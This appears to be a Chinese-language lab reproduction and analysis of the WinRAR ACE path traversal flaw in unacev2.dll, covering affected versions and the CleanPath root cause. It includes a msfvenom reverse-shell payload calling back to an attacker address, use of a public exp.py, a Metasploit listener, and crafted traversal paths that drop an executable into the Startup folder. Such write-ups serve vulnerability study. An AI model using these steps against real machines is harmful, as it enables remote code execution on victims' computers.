ACE 文件的解压模块 unacev2.dll 对解压缩路径进行验证时,未能正确过滤压缩文件中的“相对路径”,导致攻击者结合一些技巧可以绕过安全检查,使压缩文件中恶意构造的“相对路径”被直接用作了解压路径使用。从而可以将恶意代码静默释放到系统启动目录中,最终实现远程代码执行或 NTLM hash 泄露。
影响范围
Winrar < 5.70 Beta 1
Bandzip <= 6.2.0.0
好压(2345压缩)<= 5.9.8.10907
360压缩 <= 4.0.0.1170
…
复现记录
攻击者/mac 192.168.8.100
受害者/win7 192.168.8.101
winrar 5.61版本
第一步:准备
msf生成windows反向shell calc.exe:
$ msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=192.168.8.100 LPORT=4444 -f exe >calc.exe
使用exp生成攻击文件test.rar:
注意使用python3.7,并用生成的calc.exe替换下载的calc.exe:
$ python exp.py
第二步:攻击
模拟受害者访问网页(python -m SimpleHTTPServer 80),下载压缩文件:
可以看到,下载的文件默认保存于C:\Users\miyin(或者你的用户名)\Downloads,解压缩后,即可将恶意文件释放至用户启动目录。在桌面上解压缩也可达到同样效果。
此时在启动目录C:\Users\
msf准备接收反向shell(use exploit/multi/handler):
目标重启后,即可得到meterpreter会话:
第三步:关于此漏洞利用-个人收集的5点须知
1.浏览器默认下载到C:\Users\miyin(或者你的用户名)\Downloads;
2.如果在c盘下解压,exp.py需修改target_filename = r”C:\C:C:../Users\miyin(或者你的用户名)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe”;
3.不能跨盘符;
4.只能使用一次../,而..\不受限制,所以可以跨越到任意目录,如在C:\Users\miyin(或者你的用户名)\Downloads下解压,想将exe解压到C:\windows\temp目录下,那么exp.py需修改target_filename = r”C:\C:C:../AppData\Local\Temp\hi.exe”;
5.由于 WinRAR 运行在普通用户权限下,使得攻击者无法将恶意文件静默释放至路径已知的系统启动目录(”C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”)。而释放至用户启动目录(”C:\Users\
好在大多数此类攻击场景均是受害者将恶意构造的压缩文件下载至桌面(C:\Users\
“C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe”
6、漏洞原理:
提取文件的相对路径传递给GetDevicePathLen,它检查设备或驱动器名称前缀是否出现在Path参数中,并返回该字符串的长度如果返回值GetDevicePathLen大于0,则提取文件的相对路径将被视为完整路径,因为在调用期间目标文件夹被空字符串替换sprintf,这会导致Path Traversal漏洞。
但是,有一个函数可以“cleans”提取文件的相对路径,在调用之前省略不允许的任何序列GetDevicePathLen。
这是一个清除路径的伪代码”CleanPath”
该函数省略了一些简单的Path Traversal序列,如“ ..\”(它只省略了”..\序列)序列,省略了驱动序列,如:” C:\”, “C:”,而且”c:\c:”也被省略掉
简述之:由于与该漏洞ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致此漏洞。
参考链接
https://research.checkpoint.com/extracting-code-execution-from-winrar/
https://github.com/Ridter/acefile
https://github.com/WyAtu/CVE-2018-20250
https://xlab.tencent.com/cn/